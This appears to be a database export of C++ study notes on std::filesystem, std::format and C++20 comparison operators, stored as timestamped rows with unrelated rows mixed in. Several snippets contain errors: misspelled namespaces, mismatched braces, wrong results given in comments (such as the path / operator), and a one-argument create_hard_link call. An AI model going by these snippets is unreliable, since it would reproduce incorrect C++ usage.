create_directory(std::filesystem::path{"/tmp/notes"}); // OK\nremove(std::filesystem::path{"/tmp/note.txt"}); // OK text txt 2024-07-28 10:02:37.384947 0 +2556 592 std::filesystem::create_directory("/tmp/note.txt"); // OK\nstd::filesystem::remove("/tmp/note.txt"); // OK text txt 2024-07-28 10:02:37.406418 0 +2557 592 create_directory("/tmp/notes"); // ERROR\nremove("/tmp/note.txt"); // OOPS: calls C function remove() code txt 2024-07-28 10:02:37.426541 0 +2558 593 Because dealing with exception is not always appropriate, the filesystem\nlibrary uses a mixed approach when dealing with the filesystem. text txt 2024-07-28 10:02:37.729168 0 +2559 593 Filesystem operations usually have two overloads for each operation. text txt 2024-07-28 10:02:37.749912 0 +2560 593 - By default, the operations throw `std::filesystem_error` exceptions on errors.\n- By passing an additional out parameter, an error code can be used instead. text txt 2024-07-28 10:02:37.770934 0 +2561 594 #include \n#include text txt 2024-07-28 10:02:38.307245 0 +2562 594 int main()\n{\n try\n {\n std::filesystem::create_directory("/tmp/");\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.path1() << ": " << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:38.328666 0 +2563 595 #include \n#include text txt 2024-07-28 10:02:38.852939 0 +2564 595 int main()\n{\n std::error_code ec;\n std::filesystem::create_directory("/tmp/", ec);\n if (ec)\n {\n std::cerr << ec.message() << std::endl;\n } text txt 2024-07-28 10:02:38.873444 0 +2565 595 if (ec == std::errc::read_only_file_system)\n {\n std::cerr << "directory is read only\\\\n";\n }\n} code txt 2024-07-28 10:02:38.89508 0 +2566 596 The standard filesystem library defines an enumeration type `file_type`,\nwhich is standardized to have the following values: text txt 2024-07-28 10:02:39.412502 0 +2567 596 namespace std::filesystem\n{\n enum class file_type\n {\n regular, directory, symlink,\n block, character, fifo, socket,\n ...\n none, not_found, unknown\n };\n} code txt 2024-07-28 10:02:39.432137 0 +2568 597 #include \n#include text txt 2024-07-28 10:02:39.844432 0 +2569 597 using namespace std::string_literals; text txt 2024-07-28 10:02:39.865778 0 +2570 597 std::filesystem::path{"/dev/null"s}; // std::string\nstd::filesystem::path{L"/dev/null"s}; // std::wstring\nstd::filesystem::u8path{u8"/dev/null"s}; // std::u8string\nstd::filesystem::u16path{u16"/dev/null"s}; // std::u16string\nstd::filesystem::u32path{u32"/dev/null"s}; // std::u32string code txt 2024-07-28 10:02:39.887367 0 +2571 598 #include \n#include text txt 2024-07-28 10:02:40.190243 0 +2572 598 std::string filename{"/dev/random"};\nstd::filesystem::path{filename.begin(), filename.end()}; code txt 2024-07-28 10:02:40.211299 0 +2573 599 Note that `current_path()` is an expensive operation because it is based on\noperating system calls. text txt 2024-07-28 10:02:40.530684 0 +2574 599 #include text txt 2024-07-28 10:02:40.551175 0 +2575 599 auto working_directory{std::filesystem::current_path()}; code txt 2024-07-28 10:02:40.572082 0 +2576 600 #include text txt 2024-07-28 10:02:40.84743 0 +2577 600 auto temp{std::filesystem::temp_directory_path()}; code txt 2024-07-28 10:02:40.868554 0 +2578 601 std::filesystem::path p;\np.empty(); // true code txt 2024-07-28 10:02:41.129465 0 +2579 602 std::filesystem::path p{"assets/image.png"};\np.is_absolute(); // false\np.is_relative(); // true code txt 2024-07-28 10:02:41.412314 0 +2580 603 std::filesystem::path p{"/usr/src/linux/version"}; text txt 2024-07-28 10:02:42.187744 0 +2581 603 p.has_filename(); // true\np.filename(); // version text txt 2024-07-28 10:02:42.208655 0 +2582 603 p.has_stem(); // false\np.stem(); // (none) text txt 2024-07-28 10:02:42.229419 0 +2583 603 p.has_extension(); // false\np.extension(); // (none) text txt 2024-07-28 10:02:42.251484 0 +2584 603 p.has_root_name(); // false\np.root_name(); // (none) text txt 2024-07-28 10:02:42.272895 0 +2585 603 p.has_root_directory(); // true\np.root_directory(); // / text txt 2024-07-28 10:02:42.296289 0 +2586 603 p.has_root_path(); // true\np.root_path(); // / text txt 2024-07-28 10:02:42.317318 0 +2587 603 p.has_parent_path(); // true\np.parent_path(); // /usr/src/linux text txt 2024-07-28 10:02:42.339044 0 +2588 603 p.has_relative_path(); // false\np.relative_path(); // (none) text txt 2024-07-28 10:02:42.36014 0 +2589 603 p.begin();\np.end(); code txt 2024-07-28 10:02:42.381425 0 +2590 604 std::filesystem::path p{"/etc/resolv.conf"}; text txt 2024-07-28 10:02:42.627583 0 +2591 604 p.lexically_normal(); code txt 2024-07-28 10:02:42.648373 0 +2593 605 p.string();\np.wstring();\np.u8string();\np.u16string();\np.u32string(); code txt 2024-07-28 10:02:43.052049 0 +2594 606 Lexically relative path can be used in symbolic link creation. text txt 2024-07-28 10:02:43.50073 0 +2595 606 Lexical relative path yields the empty path if there is no relative path from p1 to p2. text txt 2024-07-28 10:02:43.522186 0 +2596 606 std::filesystem::path{"a/b/c"}.lexically_relative("/a/d"); // ../b/c\nstd::filesystem::path{"a/d"}.lexically_relative("/a/b/c"); // ../../d code txt 2024-07-28 10:02:43.543799 0 +2597 606 Lexical proximate path yields p1 if there is no relative path from p1 to p2. text txt 2024-07-28 10:02:43.564113 0 +2598 606 std::filesystem::path{"a/b"}.lexically_relative("c/d"}; // ""\nstd::filesystem::path{"a/b"}.lexically_proximate("c/d"}; // "a/b" code txt 2024-07-28 10:02:43.584578 0 +2599 607 std::filesystem::path p{"/dir\\\\\\\\subdir/subsubdir\\\\\\\\/./\\\\\\\\"}; text txt 2024-07-28 10:02:44.232184 0 +2600 607 p.generic_string(); // all the same: /dir/subdir/subsubdir//.//\np.generic_wstring();\np.generic_u8string();\np.generic_u16string();\np.generic_u32string(); code txt 2024-07-28 10:02:44.252636 0 +2601 607 `native()` yields the path converted to the native string encoding, which is\ndefined by the type `std::filesystem::path::string_type`. Under Windows this\ntype is `std::wstring`, so that you have to use `std::wcout`. text txt 2024-07-28 10:02:44.2723 0 +2602 607 `c_str()` does the same but yields the result as a null terminated character\nsequence. Note that using this function is also not portable. text txt 2024-07-28 10:02:44.293831 0 +2603 607 `make_preferred()` replaces any directory separator except for the root name\nby the native directory separator. text txt 2024-07-28 10:02:44.314617 0 +2604 607 p.native(); // /dir\\\\subdir/subsubdir\\\\/./\\\\\np.c_str(); // same\np.preferred(); // \\\\\\\\dir\\\\\\\\subdir\\\\\\\\subsubdir\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\ code txt 2024-07-28 10:02:44.334946 0 +2605 608 `+` , `+=` and `concat()` just append new characters to a path. text txt 2024-07-28 10:02:44.768315 0 +2606 608 std::filesystem::path p{"project"}; text txt 2024-07-28 10:02:44.790205 0 +2607 608 auto p2 = p + ".git"; // project.git text txt 2024-07-28 10:02:44.810512 0 +2608 608 p += ".git"; // project.git\np2.concat(".git"); // project.git text txt 2024-07-28 10:02:44.832674 0 +2609 608 std::filesystem::path p3{".git"};\np.concat(p3.begin(), p3.end()); // project.git code txt 2024-07-28 10:02:44.854142 0 +2610 609 `/` , `/=` and `append()` add a subpath separated with the current directory\nseparator. text txt 2024-07-28 10:02:45.29017 0 +2611 609 std::filesystem::path p{"project"}; text txt 2024-07-28 10:02:45.310533 0 +2612 609 auto p2 = p / ".git"; // project.git text txt 2024-07-28 10:02:45.330692 0 +2613 609 p.append(".git"); // project.git\np /= ".git"; // project.git text txt 2024-07-28 10:02:45.352317 0 +2614 609 std::filesystem::path p3{".git"};\np.append(p3.begin(), p3.end()); code txt 2024-07-28 10:02:45.374061 0 +2615 610 std::filesystem::path p{"/src/project/main"};\np.replace_extension(".cpp"); // /src/project/main.cpp code txt 2024-07-28 10:02:45.604899 0 +2616 611 std::filesystem::path p; text txt 2024-07-28 10:02:46.040458 0 +2617 611 std::string s{"/src/projects/linux"};\np.assign(s); text txt 2024-07-28 10:02:46.060634 0 +2618 611 std::string_view sv{"/src/projects/linux-stable"};\np.assign(sv); text txt 2024-07-28 10:02:46.081227 0 +2619 611 std::filesystem::path p2{"/src/projects/linux-hardened"};\np.assign(p2.begin(), p2.end()); code txt 2024-07-28 10:02:46.103701 0 +2620 612 std::filesystem::path p1;\nstd::filesystem::path p2; text txt 2024-07-28 10:02:46.403731 0 +2621 612 p1.swap(p2);\nstd::swap(p1, p2); code txt 2024-07-28 10:02:46.424251 0 +2622 613 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_filename("window.cpp"); // /src/project/window.cpp code txt 2024-07-28 10:02:46.706449 0 +2623 614 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension("hpp"); // /src/project/main.hpp code txt 2024-07-28 10:02:46.936289 0 +2624 615 std::filesystem::path p;\np.make_preferred(); code txt 2024-07-28 10:02:47.207182 0 +2625 616 std::filesystem::path p{"/src/project/main.cpp"};\np.remove_filename(); // /src/project/ code txt 2024-07-28 10:02:47.487477 0 +2626 617 std::filesystem::path p{"/src/project/main.cpp"};\np.replace_extension(); // /src/project/main code txt 2024-07-28 10:02:47.720134 0 +2627 618 `==` , `!=` , `<` , `>` , `<=` , `>=` , `compare(p2)` , `compare(sv)` and `equivalent(p1, p2)` are available. text txt 2024-07-28 10:02:47.909501 0 +2628 619 Using `==` , `!=` and `compare()` the following paths are all different: text txt 2024-07-28 10:02:48.492485 0 +2629 619 ```\ntmp/f\n./tmp/f\ntmp/./f\ntmp/subtmp/../f\ntmp//f\n/tmp\\\\f\ntmp/\\\\/f\n`````` text txt 2024-07-28 10:02:48.512821 0 +2630 619 Only if you call `lexically_normal()` for each path, all of the paths above are equal. text txt 2024-07-28 10:02:48.53428 0 +2631 619 std::filesystem::path p1{"tmp/f"};\nstd::filesystem::path p2{"tmp/./f"}; text txt 2024-07-28 10:02:48.555829 0 +2632 619 p1 == p2; // false\np1.compare(p2); // not 0\np1.lexically_normal() == p2.lexically_normal(); // true\np1.lexically_normal().compare(p2.lexically_normal()); // 0 code txt 2024-07-28 10:02:48.576544 0 +2633 620 To take the filesystem into account so that symbolic links are correctly\nhandled, use `equivalent()`. Note that this function requires that both paths\nrepresent existing files. text txt 2024-07-28 10:02:48.971778 0 +2634 620 std::filesystem::path p1{"/tmp/sym1"};\nstd::filesystem::path p2{"/tmp/sym2"}; text txt 2024-07-28 10:02:48.993433 0 +2635 620 std::filesystem::exists(p1); // true\nstd::filesystem::exists(p2); // true\nstd::filesystem::equivalent(p1, p2); code txt 2024-07-28 10:02:49.014932 0 +2636 621 std::filesystem::exists(p); code txt 2024-07-28 10:02:49.276486 0 +2637 622 Note that these functions follow symbolic links.\nSo for a symbolic link to a directory both `is_symlink()` and `is_directory()` yield true. text txt 2024-07-28 10:02:49.594334 0 +2638 622 std::filesystem::is_symlink(p);\nstd::filesystem::is_regular_file(p);\nstd::filesystem::is_directory(p); code txt 2024-07-28 10:02:49.615105 0 +2639 623 std::filesystem::is_other(p); code txt 2024-07-28 10:02:49.826938 0 +2640 624 std::filesystem::is_block_file(p);\nstd::filesystem::is_character_file(p);\nstd::filesystem::is_fifo(p);\nstd::filesystem::is_socket(p); code txt 2024-07-28 10:02:50.106543 0 +2641 625 std::filesytem::is_empty(p); code txt 2024-07-28 10:02:50.386311 0 +2642 626 This free-standing function returns the size of file p in bytes if it exists\nas regular file. For all other files the result is implementation-defined and\nnot portable. text txt 2024-07-28 10:02:50.684364 0 +2643 626 auto bytes = std::filesystem::file_size(p); code txt 2024-07-28 10:02:50.704333 0 +2644 627 std::filesystem::hard_link_count(p); code txt 2024-07-28 10:02:50.905461 0 +2645 628 Returns the timepoint of the last modification or write access of the file. The return type is a special `std::chrono::time_point` type. text txt 2024-07-28 10:02:51.351319 0 +2646 628 namespace std::filesystem {\n using file_time_type = chrono::time_point;\n} code txt 2024-07-28 10:02:51.372512 0 +2647 628 The clock type is an implementation specific clock type that reflects the resolution and range of file time values. text txt 2024-07-28 10:02:51.394164 0 +2648 628 auto last_write = last_write_time(p);\nauto diff = std::filesystem::file_time_type::clock::now() - last_write;\nauto last_write_seconds = std::chrono::duration_cast(diff).count(); code txt 2024-07-28 10:02:51.416059 0 +2649 629 std::filesystem::space_info = std::filesystem::space(p); code txt 2024-07-28 10:02:51.891414 0 +2650 629 The return value of `space()` is the following signature: text txt 2024-07-28 10:02:51.912204 0 +2651 629 namespace std::filesystem {\n struct space_info {\n uintmax_t capacity;\n uintmax_t free;\n uintmax_t available;\n };\n} code txt 2024-07-28 10:02:51.933341 0 +2652 630 `rename()` can deal with any type of file including directories and symbolic\nlinks. text txt 2024-07-28 10:02:52.263596 0 +2653 630 Renaming symbolic links will rename the link, not where it refers to. text txt 2024-07-28 10:02:52.285284 0 +2654 630 std::filesystem::rename(old, new); code txt 2024-07-28 10:02:52.306115 0 +2655 631 std::filesystem::last_write_time(p, newtime);\nstd::filesystem::last_write_time(p, std::filesystem::file_time_type::clock::now()); code txt 2024-07-28 10:02:52.543283 0 +2656 632 std::filesystem::permissions(p, perms);\nstd::filesystem::permissions(p, perms, mode); code txt 2024-07-28 10:02:53.016312 0 +2657 632 The optional `mode` is of the bitmask enumeration type `perm_options`,\ndefined in namespace `std::filesystem`. It allows on one hand to choose\nbetween `replace`, `add`, and `remove` and on the other hand with `nofollow`\nto modify permissions of the symbolic links instead of the files they refer\nto. text txt 2024-07-28 10:02:53.037609 0 +2658 632 // remove write access for group and any access for others\nstd::filesystem::permissions(p, std::filesystem::perms::owner_write | std::filesystem::perms::others_all, std::filesystem::perm_options::remove); code txt 2024-07-28 10:02:53.058682 0 +2659 633 std::filesystem::resize_file(p, newSize); code txt 2024-07-28 10:02:53.317499 0 +2660 634 std::filesystem::current_path(p); code txt 2024-07-28 10:02:53.546178 0 +2661 635 `exists()` follows symbolic links. So, it yields `false` if there is a\nsymbolic link to a non-existing file. To avoid following symbolic links, use\n`symlink_status()` and then call `exists()` using the returned `file_status`\nobject. text txt 2024-07-28 10:02:54.133597 0 +2662 635 #include \n#include text txt 2024-07-28 10:02:54.154567 0 +2663 635 int main()\n{\n std::filesystem::path existing_file{"/dev/random"};\n std::filesystem::path non_existing_file{"/dev/none"};\n std::filesystem::path existing_symlink{"/lib"}; text txt 2024-07-28 10:02:54.175588 0 +2664 635 std::filesystem::exists(existing_file);\n std::filesystem::exists(non_existing_file);\n std::filesystem::exists(symlink_status(existing_symlink));\n} code txt 2024-07-28 10:02:54.196728 0 +2665 636 Use `symlink_status()` function to return a `file_status` object and call\nthese functions with it. text txt 2024-07-28 10:02:54.523703 0 +2666 636 // check if p doesn't exist yet (as symbolic link)\nif (!exists(symlink_status(p)))\n ... code txt 2024-07-28 10:02:54.544144 0 +2667 637 std::filesystem::status(p); code txt 2024-07-28 10:02:54.758435 0 +2668 638 std::filesystem::symlink_status(p); code txt 2024-07-28 10:02:54.980436 0 +2669 639 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p); text txt 2024-07-28 10:02:55.434428 0 +2670 639 std::filesystem::is_regular_file(fs);\nstd::filesystem::is_directory(fs);\nstd::filesystem::is_symlink(fs);\nstd::filesystem::is_other(fs); text txt 2024-07-28 10:02:55.455538 0 +2671 639 std::filesystem::is_character_file(fs);\nstd::filesystem::is_block_file(fs);\nstd::filesystem::is_fifo(fs);\nstd::filesystem::is_socket(fs); code txt 2024-07-28 10:02:55.477638 0 +2672 640 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::status(p);\nstd::filesystem::file_type ft = fs.type(); text txt 2024-07-28 10:02:56.0795 0 +2673 640 switch (fs.type())\n{\n using std::filesystem::file_type;\n case (file_type::regular): std::cout << "regular"; break;\n case (file_type::directory): std::cout << "directory"; break;\n case (file_type::block): std::cout << "block"; break;\n case (file_type::character): std::cout << "char"; break;\n case (file_type::symlink): std::cout << "symlink"; break;\n case (file_type::socket): std::cout << "socket"; break;\n case (file_type::fifo): std::cout << "fifo"; break;\n case (file_type::not_found): std::cout << "not found"; break;\n case (file_type::unknown): std::cout << "unknown"; break;\n case (file_type::none): std::cout << "none"; break;\n} code txt 2024-07-28 10:02:56.102891 0 +2674 641 std::filesystem::path p{};\nstd::filesysetm::file_status fs = std::filesystem::status(p);\nstd::filesystem::perms file_permissions = fs.permissions(); code txt 2024-07-28 10:02:56.38347 0 +2675 642 #include \n#include text txt 2024-07-28 10:02:56.775368 0 +2676 642 int main()\n{\n std::filesystem::path file{"/etc/passwd"};\n std::filesystem::file_status status{std::filesystem::status(file)};\n std::cout << "file type: ";\n std::cout << "\\\\n";\n} code txt 2024-07-28 10:02:56.795595 0 +2677 643 |Enum|Octal|POSIX|\n|---|---|---|\n|`none`|0||\n|`owner_read`|0400|`S_IRUSR`|\n|`owner_write`|0200|`S_IWUSR`|\n|`owner_exec`|0100|`S_IXUSR`|\n|`owner_all`|0700|`S_IRWXU`|\n|`group_read`|040|`S_IRGRP`|\n|`group_write`|020|`S_IWGRP`|\n|`group_exec`|010|`S_IXGRP`|\n|`group_all`|070|`S_IRWXG`|\n|`others_read`|04|`S_IROTH`|\n|`others_write`|02|`S_IWOTH`|\n|`others_exec`|01|`S_IXOTH`|\n|`others_all`|07|`S_IRWXO`|\n|`all`|0777||\n|`set_suid`|04000|`S_ISUID`|\n|`set_guid`|02000|`S_ISGID`|\n|`sticky_bit`|01000|`S_ISVTX`|\n|`mask`|07777||\n|`unknown`|0xFFFF|| text txt 2024-07-28 10:02:57.72995 0 +2678 643 std::filesystem::path p{};\nstd::filesystem::file_status fs = std::filesystem::symlink_status(fs);\nstd::filesystem::perms perms = fs.permissions();\nstd::filesystem::perms write_free = std::filesystem::perms::owner_write | std::filesystem::perms::group_write | std::filesystem::perms::others_write; text txt 2024-07-28 10:02:57.752707 0 +2679 643 if ((perms & write_free) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 10:02:57.773007 0 +2680 643 A shorter way to initialize a bitmask is: text txt 2024-07-28 10:02:57.79359 0 +2681 643 if ((perms & std::filesystem::perms{0222}) != std::filesystem::perms::none)\n{\n} code txt 2024-07-28 10:02:57.816632 0 +2682 644 #include text txt 2024-07-28 10:02:58.098796 0 +2683 644 std::fstream file{"/tmp/non-existing-file"}; code txt 2024-07-28 10:02:58.120374 0 +2684 645 std::filesystem::create_directory(p);\nstd::filesystem::create_directory(p, attributes); code txt 2024-07-28 10:02:58.636174 0 +2685 645 The functions to create one or more directories return whether a new\ndirectory was created. Thus, finding a directory that is already there is not\nan error. However, finding a file there that is not a directory is also not\nan error. text txt 2024-07-28 10:02:58.657783 0 +2686 645 if (!create_directory(p) && !is_directory(p))\n{\n std::cerr << p << " already exists as a non-directory\\\\n";\n} code txt 2024-07-28 10:02:58.678992 0 +2687 646 std::filesystem::create_directories(p); code txt 2024-07-28 10:02:58.933188 0 +2688 647 If path already exists as a symbolic link to a non-existing file, it will try\nto create the symbolic link at the location where already the symbolic link\nexists and raise a corresponding exception. text txt 2024-07-28 10:02:59.280664 0 +2689 647 std::filesystem::create_symlink(to, new); code txt 2024-07-28 10:02:59.300912 0 +2690 648 std::filesystem::create_directory_symlink(to, new); code txt 2024-07-28 10:02:59.530529 0 +2691 649 std::filesystem::create_hard_link(p); code txt 2024-07-28 10:02:59.76941 0 +3066 723 *file1.cpp*\n#include text txt 2024-07-28 10:03:55.815278 0 +2692 650 std::filesystem::copy(from, to);\nstd::filesystem::copy(from, to, options); code txt 2024-07-28 10:03:00.034308 0 +2693 651 std::filesystem::copy_file(from, to);\nstd::filesystem::copy_file(from, to, options); code txt 2024-07-28 10:03:00.26251 0 +2694 652 Copy functions: text txt 2024-07-28 10:03:00.87056 0 +2695 652 - Don't work with special file types.\n- Report an error if existing files are overwritten.\n- Don't operate recursively.\n- Follow symbolic links. text txt 2024-07-28 10:03:00.891468 0 +2696 652 enum class std::filesystem::copy_options {\n none,\n skip_existing, // skip overwriting existing files\n overwrite_existing, // overwrite existing files\n update_existing, // overwrite existing files if the new files are newer\n recursive, // recursively copy sub-directories and their contents\n copy_symlinks, // copy symbolic links as symbolic links\n skip_symlinks, // ignore symbolic links\n directories_only, // copy directories only\n create_hard_links, // create additional hard links instead of copies of files\n create_symlinks // create symbolic links instead of copies of files\n // for latter option the source path must be absolute path unless\n // the destination path is in the current directory\n}; code txt 2024-07-28 10:03:00.913415 0 +2697 653 Both symlinks would refer to the same file. text txt 2024-07-28 10:03:01.161265 0 +2698 653 std::filesystem::copy_symlink(from, to); code txt 2024-07-28 10:03:01.182659 0 +2699 654 std::filesystem::remove(p); code txt 2024-07-28 10:03:01.449084 0 +2700 655 Removes a file or recursively a directory. It returns as `uintmax_t` value\nhow many files were removed. It returns 0 if there was no file and\n`uintmax_t(-1)` if an error occured and no exception is thrown. text txt 2024-07-28 10:03:01.774403 0 +2701 655 std::filesystem::remove_all(p); code txt 2024-07-28 10:03:01.795333 0 +2702 656 The symbolic link and the file it refers to must already exist. text txt 2024-07-28 10:03:02.079164 0 +2703 656 std::filesystem::read_symlink(symlink); code txt 2024-07-28 10:03:02.099767 0 +2704 657 `absolute()` function does not follow symbolic links. text txt 2024-07-28 10:03:02.513686 0 +2705 657 std::filesystem::absolute(p); code txt 2024-07-28 10:03:02.533444 0 +2706 657 `canonical()` function follows symbolic links.\nThe file must already exist for this function to work. text txt 2024-07-28 10:03:02.554214 0 +2707 657 std::filesystem::canonical(p);\nstd::filesystem::weakly_canonical(p); code txt 2024-07-28 10:03:02.574866 0 +2708 658 std::filesystem::relative(p);\nstd::filesystem::proximate(p); code txt 2024-07-28 10:03:02.837303 0 +2709 659 std::filesystem::relative(p, base);\nstd::filesystem::proximate(p, base); code txt 2024-07-28 10:03:03.082014 0 +2710 660 The most convenient way to do is to use a range-based for loop. text txt 2024-07-28 10:03:03.409891 0 +2711 660 for (auto const& entry: std::filesystem::directory_iterator(dir))\n{\n std::cout << entry.lexically_normal().string() << '\\\\n';\n} code txt 2024-07-28 10:03:03.430475 0 +2712 661 code txt 2024-07-28 10:03:03.634618 0 +2713 662 When iterating over directories you can pass values of type\n`directory_options`. The type is a bitmask scoped enumeration type, defined\nin namespace `std::filesystem` as follows: text txt 2024-07-28 10:03:04.111076 0 +2714 662 namespace std::filesystem {\n enum class directory_options {\n none,\n follow_directory_symlink,\n skip_permission_denied\n };\n} code txt 2024-07-28 10:03:04.133509 0 +2715 662 The default is not to follow symbolic links and to skip directories you are\nnot allowed to iterate over. With `skip_permission_denied` iterating over a\ndenied directory, results in an exception. text txt 2024-07-28 10:03:04.155073 0 +2716 663 The elements directory iterators iterate over are of type\n`std::filesystem::directory_entry`. These iterators are input iterators. The\nreason is that iterating over a directory might result into different results\nas at any time directory entries might change. This has to be taken into\naccount when using directory iterators in parallel. text txt 2024-07-28 10:03:05.04364 0 +2717 663 e.path();\ne.exists()\ne.is_regular_file()\ne.is_directory()\ne.is_symlink()\ne.is_other()\ne.is_block_file()\ne.is_character_file()\ne.is_fifo()\ne.is_socket()\ne.file_size()\ne.hard_link_count()\ne.last_write_time()\ne.status()\ne.symlink_status()\ne1 == e2\ne1 != e2\ne1 < e2\ne1 <= e2\ne1 > e2\ne1 >= e2\ne.assign(p)\ne.replace_filename(p)\ne.refresh() code txt 2024-07-28 10:03:05.06471 0 +2718 663 `assign()` and `replace_filename()` call the corresponding modifying path\noperations but do not modify the files in the underlying filesystem. text txt 2024-07-28 10:03:05.086251 0 +2719 664 #include \n#include text txt 2024-07-28 10:03:05.737082 0 +2720 664 int main()\n{\n std::string date = std::format("{}/{}/{}", 2023, 10, 1);\n} code txt 2024-07-28 10:03:05.757374 0 +2721 665 #include \n#include text txt 2024-07-28 10:03:06.09214 0 +2722 665 int main()\n{\n std::string date = std::format("{0}/{1}/{2}", 2023, 10, 1);\n} code txt 2024-07-28 10:03:06.113629 0 +2723 666 #include \n#include text txt 2024-07-28 10:03:06.452349 0 +2724 666 int main()\n{\n std::string date = std::format("{:.^15}", "message");\n} code txt 2024-07-28 10:03:06.472379 0 +2725 667 #include \n#include \n#include text txt 2024-07-28 10:03:06.997564 0 +2726 667 template\nvoid print(std::string_view const fmt_str, Args&&... args)\n{\n auto fmt_args{std::make_format_args(args...)};\n std::string out{vformat(fmt_str, fmt_args)};\n fputs(out.c_str(), stdout);\n} text txt 2024-07-28 10:03:07.018324 0 +2727 667 int main()\n{\n print("message\\\\n");\n} code txt 2024-07-28 10:03:07.039164 0 +2728 668 #include \n#include \n#include \n#include text txt 2024-07-28 10:03:08.050523 0 +2729 668 class Data\n{\n std::string buffer;\n}; text txt 2024-07-28 10:03:08.070691 0 +2730 668 template <>\nstruct std::formatter\n{\n template\n constexpr auto parse(Context& ctx)\n {\n return ctx.begin();\n } text txt 2024-07-28 10:03:08.091077 0 +2731 668 template\n auto format(Data const& d, Format& ctx)\n {\n return formal_to(ctx.out(), "{}", d.buffer);\n }\n}; text txt 2024-07-28 10:03:08.112647 0 +2732 668 template\nvoid print(std::string_view const fmt_str, Args&&... args)\n{\n auto fmt_args{std::make_format_args(args...)};\n std::string out{vformat(fmt_str, fmt_args)};\n fputs(out.c_str(), stdout);\n} text txt 2024-07-28 10:03:08.133474 0 +2733 668 int main()\n{\n Data data;\n print("{}", data);\n} code txt 2024-07-28 10:03:08.154813 0 +2734 669 C++20 allows the use of constexpr in several new contexts. text txt 2024-07-28 10:03:08.632793 0 +2735 669 constexpr auto use_string()\n{\n std::string buffer{"sample"};\n return buffer.size();\n} text txt 2024-07-28 10:03:08.652279 0 +2736 669 constexpr auto use_vector()\n{\n std::vector buffer{1,2,3,4,5};\n return std::accumulate(buffer.begin(), buffer.end(), 0);\n} code txt 2024-07-28 10:03:08.672903 0 +2737 670 Before C++20 you had to define six operators for a type to provide full\nsupport for all possible comparisons of its objects. The problem is that even\nthough most of the operators are defined in terms of either `operator ==` or\n`operator <`, the definitions are tedious and they add a lot of visual\nclutter. text txt 2024-07-28 10:03:10.647415 0 +2738 670 class Value\n{\n long id; text txt 2024-07-28 10:03:10.668113 0 +3934 969 docker info code txt 2024-07-28 10:06:12.188014 0 +2739 670 public:\n bool operator==(Value const& rhs) const { return id == rhs.id; }\n bool operator!=(Value const& rhs) const { return !(*this == rhs); }\n bool operator< (Value const& rhs) const { return id < rhs.id; }\n bool operator<=(Value const& rhs) const { return !(*this < rhs); }\n bool operator> (Value const& rhs) const { return rhs < *this; }\n bool operator>=(Value const& rhs) const { return !(rhs < *this); }\n}; code txt 2024-07-28 10:03:10.69025 0 +2740 670 In addition, for a well implemented type, you might need: text txt 2024-07-28 10:03:10.709645 0 +2741 670 - Declare the operators with `noexcept` if they cannot throw.\n- Declare the operators with `constexpr` if they can be used at compile time.\n- Declare the operators as hidden friends (declare them with `friend` inside\n the class structure so that both operands become parameters and support\n implicit conversions if the constructors are not `explicit`).\n- Declare the operators with `[[nodiscard]]` to warn if the return value is\n not used. text txt 2024-07-28 10:03:10.73077 0 +2742 670 class Value\n{\n long id; text txt 2024-07-28 10:03:10.752148 0 +2743 670 public:\n [[nodiscard]] friend constexpr bool operator==(Value const& lhs, Value const& rhs) noexcept { return lhs.id == rhs.id; }\n [[nodiscard]] friend constexpr bool operator!=(Value const& lhs, Value const& rhs) noexcept { return !(lhs == rhs); }\n [[nodiscard]] friend constexpr bool operator< (Value const& lhs, Value const& rhs) noexcept { return lhs.id < rhs.id; }\n [[nodiscard]] friend constexpr bool operator<=(Value const& lhs, Value const& rhs) noexcept { return !(lhs < rhs); }\n [[nodiscard]] friend constexpr bool operator> (Value const& lhs, Value const& rhs) noexcept { return rhs < lhs; }\n [[nodiscard]] friend constexpr bool operator>=(Value const& lhs, Value const& rhs) noexcept { return !(rhs < lhs); }\n}; code txt 2024-07-28 10:03:10.774199 0 +2744 670 Since C++20 `operator ==` also implies `operator !=`, therefore, for `a` of\ntype `TypeA` and `b` of `TypeB`, the compiler will be able to compile `a !=\nb` if there is: text txt 2024-07-28 10:03:10.795724 0 +2745 670 - a freestanding `operator !=(TypeA, TypeB)`\n- a freestanding `operator ==(TypeA, TypeB)`\n- a freestanding `operator ==(TypeB, TypeA)`\n- a member function `TypeA::operator!=(TypeB)`\n- a member function `TypeA::operator==(TypeB)`\n- a member function `TypeB::operator==(TypeA)` text txt 2024-07-28 10:03:10.817156 0 +2746 670 Having both a freestanding and a member function is an ambiguity error. text txt 2024-07-28 10:03:10.838248 0 +2747 670 Since C++20 it is enough to declare `operator <=>` with `=default` so that\nthe defaulted member `operator <=>` generates a corresponding member\n`operator ==`: text txt 2024-07-28 10:03:10.85967 0 +2748 670 class Value\n{\n auto operator<=>(Value const& rhs) const = default;\n auto operator<=>(Value const& rhs) const = default; // implicitly generated\n}; code txt 2024-07-28 10:03:10.880708 0 +2749 670 Both operators use their default implementation to compare objects member by\nmember. The order to the members in the class matter. text txt 2024-07-28 10:03:10.901381 0 +2750 670 In addition, even when declaring the spaceship operator as a member function,\nthe generated operators: text txt 2024-07-28 10:03:10.921484 0 +2751 670 - are `noexcept` if comparing the members never throws\n- are `constexpr` if comparing the members is possible at compile time\n- implicit type conversions for the first operand are also supported if a\n corresponding implicit type conversion is defined\n- may warn if the result of a comparison is not used (compiler dependent) text txt 2024-07-28 10:03:10.94378 0 +2752 671 If the `operator <=>` for `x <= y` does not find a matching definition of\n`operator <=`, it might be rewritten as `(x <=> y) <= 0` or even `0 <= (y <=>\nx)`. By this rewriting, the `operator <=>` performs a three-way comparison,\nwhich yields a value that can be compared with 0: text txt 2024-07-28 10:03:12.167801 0 +2753 671 - If the value of `x <=> y` compares equal to 0, `x` and `y` are equal or equivalent.\n- If the value of `x <=> y` compares less than 0, `x` is less than `y`.\n- If the value of `x <=> y` compares greater than 0, `x` is greater than `y`. text txt 2024-07-28 10:03:12.188948 0 +2754 671 The return type of `operator <=>` is not an integral value. The return type\nis a type that signals the comparison category, which could be the *strong\nordering*, *weak ordering*, or *partial ordering*. These types support the\ncomparison with 0 to deal with the result. text txt 2024-07-28 10:03:12.209826 0 +2755 671 You have to include a specific header file to deal with the result 